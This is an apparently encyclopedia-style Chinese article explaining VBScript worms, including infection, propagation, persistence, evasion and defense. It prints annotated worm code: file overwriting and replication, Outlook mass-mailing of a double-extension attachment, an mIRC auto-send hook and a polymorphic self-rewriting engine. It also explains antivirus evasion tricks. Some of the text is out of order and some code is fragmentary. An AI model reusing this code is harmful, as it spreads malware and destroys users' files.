簡介 網路的流行,讓我們的世界變得更加美好,但它也有讓人不愉快的時候。當您收到一封主題為“I Love You”的郵件,用興奮得幾乎快發抖的滑鼠去點擊附屬檔案的時候;當您瀏覽一個信任的網站之後,發現打開每個資料夾的速度非常慢的時候,您是否察覺病毒已經闖進了您的世界呢?2000年5月4日歐美爆發的“
宏病毒 ”
網路蠕蟲病毒 。由於通過
電子郵件系統 傳播,宏病毒在短短几天內狂襲全球數百萬計的電腦。微軟、Intel等在內的眾多大型企業網路系統癱瘓,全球經濟損失達幾十億美元。而2002上半年爆發的
新歡樂時光 病毒至今都讓廣大電腦用戶更是苦不堪言。
上面提及的兩個病毒最大的一個共同特點是:使用VBScript編寫。下面我們就來逐一對VBS
腳本病毒 的各個方面加以分析:
病毒原理分析 VBS腳本病毒一般是直接通過自我複製來感染檔案的,病毒中的絕大部分代碼都可以直接附加在其他同類程式的中間,譬如
新歡樂時光 病毒可以將自己的代碼附加在.htm檔案的尾部,並在頂部加入一條調用病毒代碼的語句,而
宏病毒 則是直接生成一個檔案的副本,將病毒代碼拷入其中,並以原檔案名稱作為病毒檔案名稱的前綴,vbs作為後綴。下面我們通過宏病毒的部分代碼具體分析一下這類病毒的感染和搜尋原理:
以下是檔案感染的部分關鍵代碼:
Set fso=createobject("scripting.filesystemobject")
'創建一個檔案系統對象
set self=fso.opentextfile(wscript.scriptfullname,1)
'讀打開當前檔案(即病毒本身)
vbscopy=self.readall
' 讀取病毒全部代碼到字元串變數vbscopy……
set ap=fso.opentextfile(目標檔案.path,2,true)
' 寫打開目標檔案,準備寫入病毒代碼
ap.write vbscopy ' 將病毒代碼覆蓋目標檔案
ap.close
set cop=fso.getfile(目標檔案.path) '得到目標檔案路徑
cop.copy(目標檔案.path & ".vbs")
' 創建另外一個病毒檔案(以.vbs為後綴)
目標檔案.delete(true)
'刪除目標檔案
上面描述了病毒檔案是如何感染正常檔案的:首先將病毒自身代碼賦給字元串變數vbscopy,然後將這個字元串覆蓋寫到目標檔案,並創建一個以目標檔案名稱為檔案名稱前綴、vbs為後綴的檔案副本,最後刪除目標檔案。
下面我們具體分析一下檔案搜尋代碼:
'該函式主要用來尋找滿足條件的檔案,並生成對應檔案的一個病毒副本
sub scan(folder_) 'scan函式定義,
on error resume next '如果出現錯誤,直接跳過,防止彈出錯誤視窗
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 當前目錄的所有檔案集合
for each file in filesext=fso.GetExtensionName(file)
'獲取檔案後綴
ext=lcase(ext) '後綴名轉換成小寫字母
if ext="mp5" then '如果後綴名是mp5,則進行感染。
請自己建立相應後綴名的檔案,最好是非正常後綴名 ,以免破壞正常程式。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜尋其他目錄;
遞歸調用 scan( ) scan(subfolder)
next
end sub
上面的代碼就是VBS腳本病毒進行檔案搜尋的代碼分析。搜尋部分scan( )函式做得比較短小精悍,非常巧妙,採用了一個遞歸的算法遍歷整個分區的目錄和檔案。
2.vbs腳本病毒通過網路傳播的幾種方式及代碼分析
VBS腳本病毒之所以傳播範圍廣,主要依賴於它的網路傳播功能,一般來說,VBS腳本病毒採用如下幾種方式進行傳播:
1)通過Email附屬檔案傳播
這是一種用的非常普遍的傳播方式,病毒可以通過各種方法拿到合法的Email地址,最常見的就是直接取outlook地址簿中的郵件地址,也可以通過程式在
用戶文檔 (譬如htm檔案)中搜尋Email地址。
下面我們具體分析一下VBS
腳本病毒 是如何做到這一點的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application")
//創建一個OUTLOOK套用的對象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI")
//獲取MAPI的名字空間
Set addrList= mapiObj.AddressLists
//獲取地址表的個數
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//獲取每個地址表的Email記錄數
For addrEntIndex= 1 To addrEntCount
//遍歷地址表的Email地址
Set item = outlookApp.CreateItem(0)
//獲取一個郵件對象實例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//獲取具體Email地址
= addrEnt.Address
//填入收信人地址
item.Subject = "病毒傳播實驗"
//寫入郵件標題
item.Body = "這裡是病毒郵件傳播測試,收到此信請不要慌張!
" //寫入檔案內容
Set attachMents=item.Attachments //定義郵件附屬檔案
attachMents.Add fileSysObj.GetSpecialFolder(0)&"\test.jpg.vbs"
item.DeleteAfterSubmit = True
//信件提交後自動刪除
"" Then
item.Send
//傳送郵件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
//病毒標記,以免重複感染
End If
NextEnd IfNext
End if
End Function
2)通過區域網路共享傳播
區域網路共享傳播也是一種非常普遍並且有效的網路傳播方式。一般來說,為了區域網路內交流方便,一定存在不少已分享資料夾,並且具有可寫許可權,譬如win2000創建共享時,默認就是具有可寫許可權。這樣病毒通過搜尋這些已分享資料夾,就可以將病毒代碼傳播到這些目錄之中。
在VBS中,有一個對象可以實現
網上鄰居 已分享檔案夾 的搜尋與檔案操作。我們利用該對象就可以達到傳播的目的。
welcome_msg = "網路連線搜尋測試"
Set WSHNetwork = WScript.CreateObject("WScript.Network")
’創建一個網路對象
Set oPrinters = WshNetwork.EnumPrinterConnections
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1Step2
’顯示網路印表機連線情況
WScript.Echo "Port "&oPrinters.Item(i)
& " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
’創建一個網路共享連線列表
If colDrives.Count = 0 Then
MsgBox "沒有可列出的驅動器。",
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "當前網路驅動器連線: " &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
End If
上面是一個用來尋找當前印表機連線和網路共享連線並將它們顯示出來的完整
腳本程式 。在知道了共享連線之後,我們就可以直接向目標驅動器讀寫檔案了。
3)通過感染htm、asp、jsp、php等網頁檔案傳播
如今,WWW服務已經變得非常普遍,病毒通過感染htm等檔案,勢必會導致所有訪問過該網頁的用戶機器感染病毒。
病毒之所以能夠在htm檔案中發揮強大功能,採用了和絕大部分網頁
惡意代碼 相同的原理。基本上,它們採用了相同的代碼,不過也可以採用其它代碼,這段代碼是病毒FSO,WSH等對象能夠在網頁中運行的關鍵。在註冊表HKEY_CLASSES_ROOT\CLSID\下我們可以找到這么一個主鍵,註冊表中對它他的說明是“Windows Script Host Shell Object”,同樣,我們也可以找到,註冊表對它的說明是“FileSystem Object”,一般先要對COM進行初始化,在獲取相應的組件對象之後,病毒便可正確地使用FSO、WSH兩個對象,調用它們的強大功能。代碼如下所示:
Set Apple0bject = document.applets("KJ_guest")Apple0bject.setCLSID("")Apple0bject.createInstance() ’創建一個實例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID("")
Apple0bject.createInstance()
’創建一個實例
Set FSO = Apple0bject.Get0bject()
對於其他類型檔案,這裡不再一一分析。
4)通過IRC聊天通道傳播
病毒通過IRC傳播一般來說採用以下代碼(以MIRC為例)
Dim mirc
set fso=CreateObject("Scripting.FileSystemObject")
set mirc=fso.CreateTextFile("C:\mirc\script.ini")
’創建檔案script.ini
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs",
True ’將病毒檔案備份到attachment.vbs
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*:
{if($nick !=$me) /dcc send $nick C:\mirc\attachment.vbs }"
'利用命令/ddc send $nick attachment.vbs給通道中的其他用戶傳送病毒檔案
mirc.Close
以上代碼用來往Script.ini檔案中寫入一行代碼,實際中還會寫入很多其他代碼。Script.ini中存放著用來控制IRC會話的命令,這個檔案裡面的命令是可以自動執行的。譬如,TUNE.VBS病毒就會修改c:\mirc\script.ini 和 c:\mirc\mirc.ini,使每當IRC用戶使用被感染的通道時都會收到一份經由DDC傳送的TUNE.VBS。同樣,如果Pirch98已安裝在目標計算機的c:\pirch98目錄下,病毒就會修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini,使每當IRC用戶使用被感染的通道時都會收到一份經由DDC傳送的TUNE.VBS。
另外病毒也可以通過現在廣泛流行的KaZaA進行傳播。病毒將病毒檔案拷貝到KaZaA的
默認共享 目錄中,這樣,當其他用戶訪問這台機器時,就有可能下載該病毒檔案並執行。這種傳播方法可能會隨著KaZaA這種點對點共享工具的流行而發生作用。
還有一些其他的傳播方法,我們這裡不再一一列舉。
如何獲取控制權?這一個是一個比較有趣的話題,而VBS腳本病毒似乎將這個話題發揮的淋漓盡致。筆者在這裡列出幾種典型的方法:
1)修改註冊表項
windows在啟動的時候,會自動載入
HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Windows\CurrentVersion\Run項下的各鍵值所執向的程式。
腳本病毒 可以在此項下加入一個鍵值指向病毒程式,這樣就可以保證每次機器啟動的時候拿到控制權。vbs修改註冊表的方法比較簡單,直接調用下面語句即可。 wsh.RegWrite(strName, anyvalue [,strType])
2)通過映射檔案執行方式
3)欺騙用戶,讓用戶自己執行
這種方式其實和用戶的心理有關。譬如,病毒在傳送附屬檔案時,採用雙後綴的檔案名稱,由於默認情況下,後綴並不顯示,舉個例子,檔案名稱為beauty.jpg.vbs的vbs程式顯示為beauty.jpg,這時用戶往往會把它當成一張圖片去點擊。同樣,對於用戶自己磁碟中的檔案,病毒在感染它們的時候,將原有檔案的檔案名稱作為前綴,vbs作為後綴產生一個病毒檔案,並刪除原來檔案,這樣,用戶就有可能將這個vbs檔案看作自己原來的檔案運行。
這兩個檔案可以用來配置
活動桌面 ,也可以用來
自定義資料夾 。如果用戶的目錄中含有這兩個檔案,當用戶進入該目錄時,就會觸發folder.htt中的病毒代碼。這是
新歡樂時光 病毒採用的一種比較有效的獲取控制權的方法。並且利用folder.htt,還可能觸發exe檔案,這也可能成為病毒得到控制權的一種有效方法!
病毒獲得控制權的方法還有很多,這方面作者發揮的餘地也比較大。
病毒要生存,對抗反病毒軟體的能力也是必需的。一般來說,VBS腳本病毒採用如下幾種對抗反病毒軟體的方法:
1)自加密
譬如,
新歡樂時光 病毒,它可以隨機選取
密鑰 對自己的部分代碼進行加密變換,使得每次感染的病毒代碼都不一樣,達到了
多態 的效果。這給傳統的特徵值
查毒 法帶來了一些困難。病毒也還可以進一步的採用變形技術,使得每次感染後的加密病毒的解密後的代碼都不一樣。
下面看一個簡單的vbs腳本變形引擎(來自flyshadow)
Randomize
Set Of = CreateObject("Scripting.FileSystemObject")
’創建檔案系統對象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
’讀取自身代碼
fS=Array("Of", "vC", "fS", "fSC")
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)))
’取4個隨機字元替換數組fS中的字元串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC ’將替換後的代碼寫回檔案
上面這段代碼使得該VBS檔案在每次運行後,其Of,vC,fS,fSC四字元串都會用隨機字元串來代替,這在很大程度上可以防止反病毒軟體用特徵值
查毒 法將其查出。
2)巧妙運用Execute函式
用過VBS程式的朋友是否會覺得奇怪:當一個正常程式中用到了FileSystemObject對象的時候,有些反病毒軟體會在對這個程式進行掃描的時候報告說此Vbs檔案的風險為高,但是有些VBS
腳本病毒 同樣採用了FileSystemObject對象,為什麼卻又沒有任何警告呢?原因很簡單,就是因為這些病毒巧妙的運用了Execute方法。有些防毒軟體檢測VBS病毒時,會檢查程式中是否聲明使用了FileSystemObject對象,如果採用了,這會發出報警。如果病毒將這段聲明代碼轉化為字元串,然後通過Execute(String)函式執行,就可以躲避某些反病毒軟體。
3)改變某些對象的聲明方法
譬如fso=createobject("scripting.filesystemobject"),我們將其改變為
fso=createobject("script"+"ing.filesyste"+"mobject"),這樣反病毒軟體對其進行靜態掃描時就不會發現filesystemobject對象。
4)直接關閉反病毒軟體
VBS腳本功能強大,它可以直接在搜尋用戶進程然後對進程名進行比較,如果發現是反病毒軟體的進程就直接關閉,並對它的某些關鍵程式進行刪除。
5.Vbs病毒生產機的原理介紹
所謂
病毒生產機 就是指可以直接根據用戶的選擇產生病毒
原始碼 的軟體。在很多人看來這或許不可思議,其實對
腳本病毒 而言它的實現非常簡單。
腳本語言 是
解釋執行 的、不需要編譯,程式中不需要什麼校驗和定位,每條語句之間分隔得比較清楚。這樣,先將病毒功能做成很多單獨的模組,在用戶做出病毒功能選擇後,生產機只需要將相應的功能模組拼湊起來,最後再作相應的代碼替換和最佳化即可。由於篇幅關係和其他原因,這裡不作詳細介紹。
1.如何從樣本中提取(加密)腳本病毒
對於沒有加密的腳本病毒,我們可以直接從病毒樣本中找出來,現在介紹一下如何從病毒樣本中提取加密VBS腳本病毒,這裡我們以
新歡樂時光 為例。
用JediEdit打開
folder.htt 。我們發現這個檔案總共才93行,第一行,幾行注釋後,以開始,節尾。相信每個人都知道這是個什麼類型的檔案吧!
第87行到91行,是如下語句:
87:
第87和91行不用解釋了,第88行是一個字元串的賦值,很明顯這是被加密過的病毒代碼。看看89行最後的一段代碼ThisText = ThisText & TempChar,再加上下面那一行,我們肯定能夠猜到ThisText裡面放的是病毒解密代碼(熟悉vbs的兄弟當然也可以分析一下這段解密代碼,too simple!就算完全不看代碼也應該可以看得出來的)。第90行是執行剛才ThisText中的那段代碼(經過解密處理後的代碼)。
那么,下一步該怎么做呢?很簡單,我們只要在病毒代碼解密之後,將ThisText的內容輸出到一個文本檔案就可以解決了。由於上面幾行是vbscript,於是我創建了如下一個.txt檔案:
首先,copy第88、89兩行到剛才建立的.txt檔案,當然如果你願意看看
新歡樂時光 的執行效果,你也可以在最後輸入第90行。然後在下面一行輸入創建檔案和將ThisText寫入檔案vbs代碼,整個檔案如下所示:
ExeString = "Afi...’ 第88行代碼
Execute("Dim KeyAr... ’ 第89行代碼
set fso=createobject("scripting.filesystemobject")
’ 創建一個檔案系統對象
set virusfile=fso.createtextfile("resource.log",true)
’ 創建一個新檔案resource.log,
用以存放解密後的病毒代碼 virusfile.writeline(ThisText)
’ 將解密後的代碼寫入resource.log
OK!就這么簡單,保存檔案,將該檔案後綴名.txt改為.vbs(.vbe也可以),雙擊,你會發現該
檔案目錄 下多了一個檔案resource.log,打開這個檔案,怎么樣?是不是“
新歡樂時光 ”的
原始碼 啊!
vbs腳本病毒由於其編寫語言為腳本,因而它不會像PE檔案那樣方便靈活,它的運行是需要條件的(不過這種條件默認情況下就具備了)。筆者認為,VBS腳本病毒具有如下弱點:
1)絕大部分VBS腳本病毒運行的時候需要用到一個對象:FileSystemObject
2)VBScript代碼是通過Windows Script Host來
解釋執行 的。
3)VBS
腳本病毒 的運行需要其關聯程式Wscript.exe的支持。
4)通過網頁傳播的病毒需要ActiveX的支持
5)通過Email傳播的病毒需要OE的自動傳送郵件功能支持,但是絕大部分病毒都是以Email為主要傳播方式的。
3.如何預防和解除vbs腳本病毒
針對以上提到的VBS腳本病毒的弱點,筆者提出如下集中防範措施:
1)禁用檔案系統對象FileSystemObject
方法:用regsvr32
scrrun.dll /u這條命令就可以禁止檔案系統對象。其中regsvr32是Windows\System下的
執行檔 。或者直接查找scrrun.dll檔案刪除或者改名。
還有一種方法就是在註冊表中HKEY_CLASSES_ROOT\CLSID\下找到一個主鍵的項,咔嚓即可。
2)
卸載 Windows Scripting Host
在Windows 98中(NT 4.0以上同理),打開[控制臺]→[添加/刪除程式]→[Windows安裝程式]→[附屬檔案],取消“Windows Scripting Host”一項。
和上面的方法一樣,在註冊表中HKEY_CLASSES_ROOT\CLSID\下找到一個主鍵的項,咔嚓。
3)刪除VBS、VBE、JS、JSE檔案後綴名與應用程式的映射
點擊[我的電腦]→[查看]→[
資料夾選項 ]→[檔案類型],然後刪除VBS、VBE、JS、JSE檔案後綴名與應用程式的映射。
4)在Windows目錄中,找到WScript.exe,更改名稱或者刪除,如果你覺得以後有機會用到的話,最好更改名稱好了,當然以後也可以重新裝上。
5)要徹底防治VBS網路
蠕蟲 病毒,還需設定一下你的瀏覽器。我們首先打開瀏覽器,單擊
選單欄 里“Internet 選項”安全選項卡里的[自定義級別]按鈕。把“ActiveX控制項及
外掛程式 ”的一切設為禁用,這樣就不怕了。呵呵,譬如
新歡樂時光 的那個
ActiveX組件 如果不能運行,網路傳播這項功能就玩完了。
6)禁止OE的自動收發郵件功能
7)由於
蠕蟲病毒 大多利用
檔案擴展名 作文章,所以要防範它就不要隱藏系統中已知檔案類型的擴展名。Windows默認的是“隱藏已知檔案類型的擴展名稱”,將其修改為顯示所有檔案類型的擴展名稱。
8)將系統的網路連線的安全級別設定至少為“中等”,它可以在一定程度上預防某些有害的Java程式或者某些ActiveX組件對計算機的侵害。
9)呵呵,最後一項不說大家也應該知道了,防毒軟體確實很必要,儘管有些防毒軟體挺讓廣大用戶失望,不過,選擇是雙方的喔。在這個病毒橫飛的網路,如果您的機器沒有裝上防毒軟體我覺得確實挺不可思議的。
四、對所有腳本類病毒發展的展望
隨著網路的飛速發展,
網路蠕蟲病毒 開始流行,而VBS腳本蠕蟲則更加突出,不僅數量多,而且威力大。由於利用
腳本編寫 病毒比較簡單,除了將繼續流行目前的VBS
腳本病毒 外,將會逐漸出現更多的其它腳本類病毒,譬如PHP,JS,Perl病毒等。但是腳本並不是真正病毒技術愛好者編寫病毒的最佳工具,並且腳本病毒解除起來比較容易、相對容易防範。筆者認為,腳本病毒仍將繼續流行,但是能夠具有像
宏病毒 、
新歡樂時光 那樣大影響的腳本
蠕蟲病毒 只是少數。
特點狀況 一、Vbs腳本病毒的特點及發展現狀
VBS病毒是用VB Script編寫而成,該
腳本語言 功能非常強大,它們利用Windows系統的開放性特點,通過調用一些現成的Windows對象、組件,可以直接對檔案系統、註冊表等進行控制,功能非常強大。應該說病毒就是一種思想,但是這種思想在用VBS實現時變得極其容易。VBS
腳本病毒 具有如下幾個特點:
1.編寫簡單(代表:
宏病毒 和
新歡樂時光 病毒),一個以前對病毒一無所知的病毒愛好者可以在很短的時間裡編出一個新型病毒來。
2.破壞力大。其破壞力不僅表現在對用戶系統檔案及性能的破壞。他還可以使
郵件伺服器 崩潰,網路發生嚴重阻塞。
3.感染力強。由於腳本是直接
解釋執行 ,並且它不需要像PE病毒那樣,需要做複雜的PE檔案格式處理,因此這類病毒可以直接通過自我複製的方式感染其他同類檔案,並且自我的
異常處理 變得非常容易。
4.傳播範圍大。這類病毒通過htm文檔,Email附屬檔案或其它方式,可以在很短時間內傳遍世界各地。
5.病毒源碼容易被獲取,變種多。由於VBS病毒解釋執行,其
原始碼 可讀性非常強,即使病毒源碼經過加密處理後,其原始碼的獲取還是比較簡單。因此,這類病毒變種比較多,稍微改變一下病毒的結構,或者修改一下特徵值,很多防毒軟體可能就無能為力。
6.欺騙性強。
腳本病毒 為了得到運行機會,往往會採用各種讓用戶不大注意的手段,譬如,郵件的附屬檔案名採用雙後綴,如.jpg.vbs,由於系統默認不顯示後綴,這樣,用戶看到這個檔案的時候,就會認為它是一個jpg格式圖片檔案。
7.使得
病毒生產機 實現起來非常容易。所謂病毒生產機,就是可以按照用戶的意願,生產病毒的機器(當然,這裡指的是程式),目前的病毒生產機,之所以大多數都為腳本病毒生產機,其中最重要的一點還是因為腳本是
解釋執行 的,實現起來非常容易,具體將在我們後面談及。
正因為以上幾個特點,腳本病毒發展異常迅猛,特別是病毒生產機的出現,使得生成新型腳本病毒變得非常容易。